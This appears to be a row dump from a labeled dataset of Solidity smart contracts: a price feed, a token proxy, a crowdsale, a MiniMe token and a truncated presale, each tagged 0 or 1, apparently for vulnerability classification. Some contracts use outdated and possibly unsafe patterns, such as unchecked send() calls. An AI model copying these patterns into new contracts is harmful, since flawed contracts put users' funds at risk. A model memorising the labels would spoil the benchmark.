source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity ^0.4.13;
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DBC {
modifier pre_cond(bool condition) {
require(condition);
_;
}
modifier post_cond(bool condition) {
_;
assert(condition);
}
modifier invariant(bool condition) {
require(condition);
_;
assert(condition);
}
}
contract Owned is DBC {
address public owner;
function Owned() { owner = msg.sender; }
function changeOwner(address ofNewOwner) pre_cond(isOwner()) { owner = ofNewOwner; }
function isOwner() internal returns (bool) { return msg.sender == owner; }
}
contract AssetRegistrar is DBC, Owned {
struct Asset {
address breakIn;
address breakOut;
bytes32 chainId;
uint decimal;
bool exists;
string ipfsHash;
string name;
uint price;
string symbol;
uint timestamp;
string url;
}
mapping (address => Asset) public information;
function register(
address ofAsset,
string name,
string symbol,
uint decimal,
string url,
string ipfsHash,
bytes32 chainId,
address breakIn,
address breakOut
)
pre_cond(isOwner())
pre_cond(!information[ofAsset].exists)
{
Asset asset = information[ofAsset];
asset.name = name;
asset.symbol = symbol;
asset.decimal = decimal;
asset.url = url;
asset.ipfsHash = ipfsHash;
asset.breakIn = breakIn;
asset.breakOut = breakOut;
asset.exists = true;
assert(information[ofAsset].exists);
}
function updateDescriptiveInformation(
address ofAsset,
string name,
string symbol,
string url,
string ipfsHash
)
pre_cond(isOwner())
pre_cond(information[ofAsset].exists)
{
Asset asset = information[ofAsset];
asset.name = name;
asset.symbol = symbol;
asset.url = url;
asset.ipfsHash = ipfsHash;
}
function remove(
address ofAsset
)
pre_cond(isOwner())
pre_cond(information[ofAsset].exists)
{
delete information[ofAsset];
assert(!information[ofAsset].exists);
}
function getName(address ofAsset) view returns (string) { return information[ofAsset].name; }
function getSymbol(address ofAsset) view returns (string) { return information[ofAsset].symbol; }
function getDecimals(address ofAsset) view returns (uint) { return information[ofAsset].decimal; }
}
interface PriceFeedInterface {
event PriceUpdated(uint timestamp);
function update(address[] ofAssets, uint[] newPrices);
function getName(address ofAsset) view returns (string);
function getSymbol(address ofAsset) view returns (string);
function getDecimals(address ofAsset) view returns (uint);
function getQuoteAsset() view returns (address);
function getInterval() view returns (uint);
function getValidity() view returns (uint);
function getLastUpdateId() view returns (uint);
function hasRecentPrice(address ofAsset) view returns (bool isRecent);
function hasRecentPrices(address[] ofAssets) view returns (bool areRecent);
function getPrice(address ofAsset) view returns (bool isRecent, uint price, uint decimal);
function getPrices(address[] ofAssets) view returns (bool areRecent, uint[] prices, uint[] decimals);
function getInvertedPrice(address ofAsset) view returns (bool isRecent, uint invertedPrice, uint decimal);
function getReferencePrice(address ofBase, address ofQuote) view returns (bool isRecent, uint referencePrice, uint decimal);
function getOrderPrice(
address sellAsset,
address buyAsset,
uint sellQuantity,
uint buyQuantity
) view returns (uint orderPrice);
function existsPriceOnAssetPair(address sellAsset, address buyAsset) view returns (bool isExistent);
}
contract PriceFeed is PriceFeedInterface, AssetRegistrar, DSMath {
address public QUOTE_ASSET;
uint public INTERVAL;
uint public VALIDITY;
uint updateId;
function PriceFeed(
address ofQuoteAsset,
string quoteAssetName,
string quoteAssetSymbol,
uint quoteAssetDecimals,
string quoteAssetUrl,
string quoteAssetIpfsHash,
bytes32 quoteAssetChainId,
address quoteAssetBreakIn,
address quoteAssetBreakOut,
uint interval,
uint validity
) {
QUOTE_ASSET = ofQuoteAsset;
register(
QUOTE_ASSET,
quoteAssetName,
quoteAssetSymbol,
quoteAssetDecimals,
quoteAssetUrl,
quoteAssetIpfsHash,
quoteAssetChainId,
quoteAssetBreakIn,
quoteAssetBreakOut
);
INTERVAL = interval;
VALIDITY = validity;
}
function update(address[] ofAssets, uint[] newPrices)
pre_cond(isOwner())
pre_cond(ofAssets.length == newPrices.length)
{
updateId += 1;
for (uint i = 0; i < ofAssets.length; ++i) {
require(information[ofAssets[i]].timestamp != now);
require(information[ofAssets[i]].exists);
information[ofAssets[i]].timestamp = now;
information[ofAssets[i]].price = newPrices[i];
}
PriceUpdated(now);
}
function getQuoteAsset() view returns (address) { return QUOTE_ASSET; }
function getInterval() view returns (uint) { return INTERVAL; }
function getValidity() view returns (uint) { return VALIDITY; }
function getLastUpdateId() view returns (uint) { return updateId; }
function hasRecentPrice(address ofAsset)
view
pre_cond(information[ofAsset].exists)
returns (bool isRecent)
{
return sub(now, information[ofAsset].timestamp) <= VALIDITY;
}
function hasRecentPrices(address[] ofAssets)
view
returns (bool areRecent)
{
for (uint i; i < ofAssets.length; i++) {
if (!hasRecentPrice(ofAssets[i])) {
return false;
}
}
return true;
}
function getPrice(address ofAsset)
view
returns (bool isRecent, uint price, uint decimal)
{
return (
hasRecentPrice(ofAsset),
information[ofAsset].price,
information[ofAsset].decimal
);
}
function getPrices(address[] ofAssets)
view
returns (bool areRecent, uint[] prices, uint[] decimals)
{
areRecent = true;
for (uint i; i < ofAssets.length; i++) {
var (isRecent, price, decimal) = getPrice(ofAssets[i]);
if (!isRecent) {
areRecent = false;
}
prices[i] = price;
decimals[i] = decimal;
}
}
function getInvertedPrice(address ofAsset)
view
returns (bool isRecent, uint invertedPrice, uint decimal)
{
var (isInvertedRecent, inputPrice, assetDecimal) = getPrice(ofAsset);
uint quoteDecimal = getDecimals(QUOTE_ASSET);
return (
isInvertedRecent,
mul(10 ** uint(quoteDecimal), 10 ** uint(assetDecimal)) / inputPrice,
quoteDecimal
);
}
function getReferencePrice(address ofBase, address ofQuote)
view
returns (bool isRecent, uint referencePrice, uint decimal)
{
if (getQuoteAsset() == ofQuote) {
(isRecent, referencePrice, decimal) = getPrice(ofBase);
} else if (getQuoteAsset() == ofBase) {
(isRecent, referencePrice, decimal) = getInvertedPrice(ofQuote);
} else {
revert();
}
}
function getOrderPrice(
address sellAsset,
address buyAsset,
uint sellQuantity,
uint buyQuantity
)
view
returns (uint orderPrice)
{
return mul(buyQuantity, 10 ** uint(getDecimals(sellAsset))) / sellQuantity;
}
function existsPriceOnAssetPair(address sellAsset, address buyAsset)
view
returns (bool isExistent)
{
return
hasRecentPrice(sellAsset) &&
hasRecentPrice(buyAsset) &&
(buyAsset == QUOTE_ASSET || sellAsset == QUOTE_ASSET) &&
(buyAsset != QUOTE_ASSET || sellAsset != QUOTE_ASSET);
}
} | 0 | 701 |
pragma solidity 0.4.15;
contract RegistryICAPInterface {
function parse(bytes32 _icap) constant returns(address, bytes32, bool);
function institutions(bytes32 _institution) constant returns(address);
}
contract EToken2Interface {
function registryICAP() constant returns(RegistryICAPInterface);
function baseUnit(bytes32 _symbol) constant returns(uint8);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function isLocked(bytes32 _symbol) constant returns(bool);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(bool);
function reissueAsset(bytes32 _symbol, uint _value) returns(bool);
function revokeAsset(bytes32 _symbol, uint _value) returns(bool);
function setProxy(address _address, bytes32 _symbol) returns(bool);
function lockAsset(bytes32 _symbol) returns(bool);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performApprove(address _spender, uint _value, address _sender) returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performGeneric(bytes, address) payable {
revert();
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() constant returns(uint256 supply);
function balanceOf(address _owner) constant returns(uint256 balance);
function transfer(address _to, uint256 _value) returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) returns(bool success);
function approve(address _spender, uint256 _value) returns(bool success);
function allowance(address _owner, address _spender) constant returns(uint256 remaining);
function decimals() constant returns(uint8);
}
contract AssetProxyInterface {
function _forwardApprove(address _spender, uint _value, address _sender) returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function balanceOf(address _owner) constant returns(uint);
}
contract Bytes32 {
function _bytes32(string _input) internal constant returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract ReturnData {
function _returnReturnData(bool _success) internal {
assembly {
let returndatastart := msize()
mstore(0x40, add(returndatastart, returndatasize))
returndatacopy(returndatastart, 0, returndatasize)
switch _success case 0 { revert(returndatastart, returndatasize) } default { return(returndatastart, returndatasize) }
}
}
function _assemblyCall(address _destination, uint _value, bytes _data) internal returns(bool success) {
assembly {
success := call(div(mul(gas, 63), 64), _destination, _value, add(_data, 32), mload(_data), 0, 0)
}
}
}
contract CryptykTokens is ERC20Interface, AssetProxyInterface, Bytes32, ReturnData {
EToken2Interface public etoken2;
bytes32 public etoken2Symbol;
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(uint _value) onlyAssetOwner() returns(bool) {
return this.transferWithReference(msg.sender, _value, 'Tokens recovery');
}
function totalSupply() constant returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) constant returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) constant returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() constant returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) onlyEToken2() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) onlyEToken2() {
Approval(_from, _spender, _value);
}
function () payable {
_getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
_returnReturnData(true);
}
function transferToICAP(string _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(string _icap, uint _value, string _reference) returns(bool) {
return transferToICAPWithReference(_bytes32(_icap), _value, _reference);
}
function transferFromToICAP(address _from, string _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, string _icap, uint _value, string _reference) returns(bool) {
return transferFromToICAPWithReference(_from, _bytes32(_icap), _value, _reference);
}
event UpgradeProposed(address newVersion);
event UpgradePurged(address newVersion);
event UpgradeCommited(address newVersion);
event OptedOut(address sender, address version);
event OptedIn(address sender, address version);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
uint constant UPGRADE_FREEZE_TIME = 3 days;
mapping(address => address) userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() constant returns(address) {
return latestVersion;
}
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposed(_newVersion);
return true;
}
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
UpgradePurged(pendingVersion);
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
UpgradeCommited(latestVersion);
return true;
}
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
OptedOut(msg.sender, latestVersion);
return true;
}
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
OptedIn(msg.sender, latestVersion);
return true;
}
function multiAsset() constant returns(EToken2Interface) {
return etoken2;
}
} | 1 | 2,969 |
pragma solidity ^0.4.7;
contract AbstractSYCCrowdsale {
}
contract SYCEarlyPurchase {
string public constant PURCHASE_AMOUNT_UNIT = 'ETH';
uint public constant WEI_MINIMUM_PURCHASE = 1 * 10 ** 18;
uint public constant WEI_MAXIMUM_EARLYPURCHASE = 2 * 10 ** 18;
address public owner;
EarlyPurchase[] public earlyPurchases;
uint public earlyPurchaseClosedAt;
uint public totalEarlyPurchaseRaised;
struct EarlyPurchase {
address purchaser;
uint amount;
uint purchasedAt;
}
AbstractSYCCrowdsale public sycCrowdsale;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
modifier onlyEarlyPurchaseTerm() {
if (earlyPurchaseClosedAt > 0) {
throw;
}
_;
}
function SYCEarlyPurchase() {
owner = msg.sender;
}
function purchasedAmountBy(address purchaser)
external
constant
returns (uint amount)
{
for (uint i; i < earlyPurchases.length; i++) {
if (earlyPurchases[i].purchaser == purchaser) {
amount += earlyPurchases[i].amount;
}
}
}
function numberOfEarlyPurchases()
external
constant
returns (uint)
{
return earlyPurchases.length;
}
function appendEarlyPurchase(address purchaser, uint amount, uint purchasedAt)
internal
onlyEarlyPurchaseTerm
returns (bool)
{
if (purchasedAt == 0 || purchasedAt > now) {
throw;
}
earlyPurchases.push(EarlyPurchase(purchaser, amount, purchasedAt));
if (purchasedAt == 0 || purchasedAt > now) {
throw;
}
if(totalEarlyPurchaseRaised + amount >= WEI_MAXIMUM_EARLYPURCHASE){
purchaser.send(totalEarlyPurchaseRaised + amount - WEI_MAXIMUM_EARLYPURCHASE);
totalEarlyPurchaseRaised += WEI_MAXIMUM_EARLYPURCHASE - totalEarlyPurchaseRaised;
}
else{
totalEarlyPurchaseRaised += amount;
}
if(totalEarlyPurchaseRaised >= WEI_MAXIMUM_EARLYPURCHASE){
closeEarlyPurchase();
}
return true;
}
function closeEarlyPurchase()
onlyOwner
returns (bool)
{
earlyPurchaseClosedAt = now;
}
function setup(address sycCrowdsaleAddress)
external
onlyOwner
returns (bool)
{
if (address(sycCrowdsale) == 0) {
sycCrowdsale = AbstractSYCCrowdsale(sycCrowdsaleAddress);
return true;
}
return false;
}
function withdraw(uint withdrawalAmount) onlyOwner {
if(!owner.send(withdrawalAmount)) throw;
}
function withdrawAll() onlyOwner {
if(!owner.send(this.balance)) throw;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
function () payable{
require(msg.value >= WEI_MINIMUM_PURCHASE);
appendEarlyPurchase(msg.sender, msg.value, block.timestamp);
}
} | 0 | 1,708 |
pragma solidity ^0.4.18;
contract Blockeds {
mapping (address => bool) blocked;
event Blocked(address _addr);
event Unblocked(address _addr);
function blockAddress(address _addr) public {
require(!blocked[_addr]);
blocked[_addr] = true;
Blocked(_addr);
}
function unblockAddress(address _addr) public {
require(blocked[_addr]);
blocked[_addr] = false;
Unblocked(_addr);
}
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract RET is MiniMeToken, Blockeds {
bool public sudoEnabled = true;
modifier onlySudoEnabled() {
require(sudoEnabled);
_;
}
modifier onlyNotBlocked(address _addr) {
require(!blocked[_addr]);
_;
}
event SudoEnabled(bool _sudoEnabled);
function RET(address _tokenFactory) MiniMeToken(
_tokenFactory,
0x0,
0,
"Rapide Token",
18,
"RAP",
false
) public {}
function transfer(address _to, uint256 _amount) public onlyNotBlocked(msg.sender) returns (bool success) {
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public onlyNotBlocked(_from) returns (bool success) {
return super.transferFrom(_from, _to, _amount);
}
function generateTokens(address _owner, uint _amount) public onlyController onlySudoEnabled returns (bool) {
return super.generateTokens(_owner, _amount);
}
function destroyTokens(address _owner, uint _amount) public onlyController onlySudoEnabled returns (bool) {
return super.destroyTokens(_owner, _amount);
}
function blockAddress(address _addr) public onlyController onlySudoEnabled {
super.blockAddress(_addr);
}
function unblockAddress(address _addr) public onlyController onlySudoEnabled {
super.unblockAddress(_addr);
}
function enableSudo(bool _sudoEnabled) public onlyController {
sudoEnabled = _sudoEnabled;
SudoEnabled(_sudoEnabled);
}
function generateTokensByList(address[] _owners, uint[] _amounts) public onlyController onlySudoEnabled returns (bool) {
require(_owners.length == _amounts.length);
for(uint i = 0; i < _owners.length; i++) {
generateTokens(_owners[i], _amounts[i]);
}
return true;
}
} | 1 | 2,953 |
pragma solidity ^0.4.6;
contract Presale {
string public constant VERSION = "0.1.4";
uint public constant PRESALE_START = 3172723;
uint public constant PRESALE_END = 3302366;
uint public constant WITHDRAWAL_END = 3678823;
address public constant OWNER = 0xE76fE52a251C8F3a5dcD657E47A6C8D16Fdf4bFA;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 4000;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 12000;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1;
string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint public total_received_amount;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool public isAborted = false;
function Presale () validSetupOnly() { }
function ()
payable
noReentrancy
{
State state = currentState();
if (state == State.PRESALE_RUNNING) {
receiveFunds();
} else if (state == State.REFUND_RUNNING) {
sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noReentrancy
{
sendRefund();
}
function withdrawFunds() external
inState(State.WITHDRAWAL_RUNNING)
onlyOwner
noReentrancy
{
if (!OWNER.send(this.balance)) throw;
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
onlyOwner
{
isAborted = true;
}
function state() external constant
returns (string)
{
return stateNames[ uint(currentState()) ];
}
function sendRefund() private tokenHoldersOnly {
var amount_to_refund = balances[msg.sender] + msg.value;
